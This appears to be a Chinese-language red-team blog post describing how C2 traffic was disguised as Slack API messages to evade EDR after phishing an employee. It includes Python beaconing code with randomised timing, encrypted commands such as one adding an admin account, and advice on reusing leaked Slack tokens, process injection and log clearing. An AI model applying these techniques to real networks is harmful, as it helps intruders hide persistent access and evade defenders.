一、一个渗透行动中的流量伪装
目标是一个部署了EDR的企业内网环境。渗透测试过程中,我们成功钓鱼获取了一个普通员工的机器权限,但随后发现企业启用了严格的网络流量监控策略,结合EDR能够检测到异常的C2流量。这意味着,传统的HTTP beaconing或DNS协议通信将会被快速识别和封锁。
为继续深入,我们选择对C2流量进行伪装,通过模拟合法流量实现持久性控制。这篇文章就以这次渗透行动为例,分析如何实施网络流量伪装。从工具选择到技术实现,再到绕过检测,我们将完整展示这一过程。

---
二、伪装的选择:混入日常流量
为什么要伪装?
流量分析工具(比如Zeek)和EDR的结合,可以捕获常见的C2通信模式,例如固定时间间隔的HTTP beacon、基于DNS的查询或自定义的TCP协议流量。为了对抗这些检测手段,我们需要将恶意流量伪装成合法的流量类型。
在这个案例中,目标企业的员工大量使用Slack和Microsoft Teams进行日常沟通。因此,我们决定将C2流量伪装成Slack API请求,通过模拟员工的通信行为来隐藏恶意流量。
Slack API流量伪装的优势
- 广泛使用:目标企业的防护系统视Slack流量为常规流量,不会过多关注。
- 灵活接口:Slack API提供了丰富的HTTP/JSON接口,可以轻松承载额外数据。
- 动态通信:频繁的消息轮询使其流量模式复杂,难以被简单规则检测。
---
三、搭建实验环境:测试伪装效果
实验环境组件
- 目标EDR模拟:安装一款开源EDR工具(如OSQuery)模拟流量检测。
- C2服务器:基于Cobalt Strike搭建,配置自定义通信协议。
- Slack API模拟:使用Python编写伪造的Slack流量模块。
环境搭建过程
首先,我们需要获取Slack API的令牌(Token),可以通过正常注册开发者账号获得。如果目标企业的API令牌泄露到了某些公开资源库(比如GitHub),可以直接利用。
以下是实验环境的关键脚本,用来模拟Slack流量:
<pre><code class="language-python">import requests import json import time
Slack API配置
SLACK_API_URL = "https://slack.com/api/chat.postMessage" SLACK_TOKEN = "xoxb-your-slack-token-here" # 替换为实际token
C2信息伪装成Slack消息
def send_c2_payload(channel_id, text): headers = { "Authorization": f"Bearer {SLACK_TOKEN}", "Content-Type": "application/json" } payload = { "channel": channel_id, "text": text # 恶意数据伪装成普通文本消息 } response = requests.post(SLACK_API_URL, headers=headers, json=payload) return response.status_code, response.text
模拟周期性C2流量
def simulate_c2(): target_channel = "C0123456789" # Slack中的目标频道ID while True:
伪装C2流量,每隔5秒发送一次
status, response = send_c2_payload(target_channel, "Hello from C2!") print(f"Message Sent. Status: {status}, Response: {response}") time.sleep(5)
if __name__ == "__main__": simulate_c2()</code></pre>
测试效果
在实验环境中运行上述代码后,我们可以观察到恶意流量成功伪装成Slack消息。目标EDR未发出警告,这证明Slack流量模型在一定程度上绕过了流量检测。
---
四、深入伪装:Payload的隐秘传递
Slack消息中的恶意载荷
为了进一步测试伪装效果,我们将恶意载荷隐藏在Slack消息中。比如,在普通文本消息中加密后附带恶意命令。
加密与解密模块
以下代码展示如何隐藏信息,同时在接收端解密恢复:
加密端:
<pre><code class="language-python">from cryptography.fernet import Fernet
生成加密密钥
key = Fernet.generate_key() cipher = Fernet(key)
def encrypt_payload(payload):
加密恶意载荷
encrypted = cipher.encrypt(payload.encode()) return encrypted.decode()</code></pre>
解密端:

<pre><code class="language-python">def decrypt_payload(encrypted_payload):
解密恶意载荷
decrypted = cipher.decrypt(encrypted_payload.encode()) return decrypted.decode()

测试
encrypted_message = encrypt_payload("net user /add admin P@ssw0rd123!") print("Encrypted:", encrypted_message) print("Decrypted:", decrypt_payload(encrypted_message))</code></pre>
通过在Slack消息中存储加密后的恶意命令,我们可以进一步规避简单的流量分析。
流量伪装的动态性
在真实环境中,我们需要让C2通信的时间间隔和内容动态变化,模拟用户的行为。以下是通过随机时间和内容伪装流量的样例:
<pre><code class="language-python">import random
def dynamic_simulation(): target_channel = "C0123456789" messages = ["User report uploaded", "Meeting scheduled", "Test message"] while True:
随机选择消息并发送
message = random.choice(messages) send_c2_payload(target_channel, encrypt_payload(message)) print(f"Dynamic Message Sent: {message}") time.sleep(random.randint(5, 20)) # 随机时间间隔</code></pre>
---
五、绕过检测的细节:对抗流量分析
伪装流量的关键点
- 时间间隔变动:避免固定周期发送,改为随机时间间隔。
- 流量内容混合:恶意载荷与正常内容混合,降低可疑性。
- 流量大小控制:符合常规Slack消息大小限制,避免过大或频繁。
对抗EDR的策略
现代EDR通常结合流量模式和终端行为分析,我们可以通过以下方式进一步对抗:
- 内存加载恶意模块:避免在硬盘留下痕迹。
- 线程注入:将恶意代码注入到合法进程中,如Slack客户端。
- 日志清除:使用PowerShell脚本清除目标机器中的日志记录。
---
六、个人经验总结
在渗透测试中,流量伪装是绕过防御的重要环节,但实现伪装并不意味着万事大吉。如果目标配置了更高级的流量分析工具(如AI驱动流量检测),还需要结合其他对抗技术,比如动态流量生成、协议混淆等。
此外,伪装流量工具的选择也非常重要,比如使用开源工具Sliver可以轻松配置自定义协议,结合伪装流量实现完整的C2通信链。

总之,流量伪装的核心是“像合法行为一样”,模仿目标环境的日常流量模式,同时不断测试和调整伪装效果。在红队渗透中,这是一项艺术,也是一项技术。